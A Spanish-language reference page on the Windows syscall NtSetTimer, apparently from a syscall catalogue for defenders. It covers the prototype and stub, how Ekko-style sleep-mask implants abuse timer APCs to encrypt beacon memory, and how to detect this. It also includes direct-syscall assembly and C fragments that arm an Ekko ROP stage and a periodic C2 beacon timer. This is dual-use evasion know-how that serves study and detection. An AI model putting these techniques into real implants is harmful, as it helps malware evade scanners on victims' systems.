NtSetTimer

Prototipo

NTSTATUS NtSetTimer(
  HANDLE              TimerHandle,
  PLARGE_INTEGER      DueTime,
  PTIMER_APC_ROUTINE  TimerApcRoutine,
  PVOID               TimerContext,
  BOOLEAN             ResumeTimer,
  LONG                Period,
  PBOOLEAN            PreviousState
);

Argumentos

IDs de syscalls por versión de Windows

Stub del syscall

4C 8B D1            mov r10, rcx
B8 62 00 00 00      mov eax, 0x62
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notas no documentadas

Arma un objeto timer creado por `NtCreateTimer` vía `KeSetTimerEx` / `ExpSetTimer` dentro de ntoskrnl.exe. La SSN `0x62` ha sido estable en todas las builds Win10/11. `DueTime` está en unidades NT de 100 ns (negativo para relativo). Cuando `TimerApcRoutine` no es NULL, en cada expiración el kernel encola un *APC de usuario normal* en el **hilo que llamó a `NtSetTimer`** — no en otro hilo — y el APC se ejecuta solo cuando ese hilo entra en una espera alertable. Un `Period` no nulo hace el timer recurrente (semántica `SetWaitableTimer`); las expiraciones siguientes continúan encolando APCs hasta `NtCancelTimer`.

Uso común por malware

**El detonador para las sleep masks estilo Ekko.** El implante construye una cadena: NtCreateTimer → NtSetTimer con `TimerApcRoutine` apuntando a una serie de gadgets ROP `RtlCaptureContext` / `SystemFunction032` / `NtProtectVirtualMemory` → NtWaitForSingleObject(alertable). Al expirar, el APC ejecuta cada etapa ROP por turnos: capturar contexto, descifrar la región RWX del implante, luego en la siguiente expiración recifrar + dormir de nuevo. El resultado es un beacon cuya imagen de memoria en cualquier momento *no activo* es ilegible para un escáner. Foliage, Cronos y Zilean traen variantes; Havoc habilita una sleep mask Ekko por defecto. También abusado como beacon de persistencia silencioso — timer periódico + APC pequeño que consulta al C2.

Oportunidades de detección

ETW Threat Intelligence emite el evento APC encolado para el user APC del kernel en cada expiración, lo que significa que *cada* tick de una sleep mask Ekko es en principio registrable — aunque la mayoría de los EDR limitan el volumen. La detección más limpia es memorizar que el RIP del callsite fuente de `NtSetTimer` está en memoria no respaldada y que la dirección de la rutina APC está en la misma región RWX — un arm-and-fire de timer auto-modificable desde memoria anónima es extremadamente raro en software benigno. El abuso de wake-timer también puede enumerarse offline vía `powercfg /waketimers`.

Ejemplos de syscalls directos

; Direct syscall stub for NtSetTimer (SSN 0x62, stable across Win10/11)
NtSetTimer PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 62h          ; SSN
    syscall
    ret
NtSetTimer ENDP

// hTimer was just created with NtCreateTimer(SynchronizationTimer).
// hEvent is the rendezvous the APC will signal at end of the ROP chain.
LARGE_INTEGER due;
due.QuadPart = -(LONGLONG)(60 * 1000 * 10000); // 60s relative

NtSetTimer(hTimer,
           &due,
           (PTIMER_APC_ROUTINE)EkkoStage1, // ROP gadget: encrypt → sleep → decrypt
           (PVOID)hEvent,                  // ctx forwarded as APC arg1
           FALSE,                          // not a wake timer
           0,                              // one-shot; we re-arm at end of chain
           NULL);

// Implant thread then alertably waits on hEvent; APC fires on expiry.
NtWaitForSingleObject(hEvent, TRUE, NULL);

// Beacon every 30s with a small callback that issues an HTTPS check-in.
LARGE_INTEGER due;
due.QuadPart = -(LONGLONG)(30 * 1000 * 10000); // first fire +30s
NtSetTimer(hTimer,
           &due,
           (PTIMER_APC_ROUTINE)BeaconTickApc,
           NULL,
           FALSE,
           30 * 1000,   // period 30s
           NULL);

for (;;) NtWaitForSingleObject(hTimer, TRUE, NULL); // alertable, APC fires each tick

Mapeos MITRE ATT&CK

• T1027.011Fileless Storagemitre ↗
• T1055.004Asynchronous Procedure Callmitre ↗
• T1029Scheduled Transfermitre ↗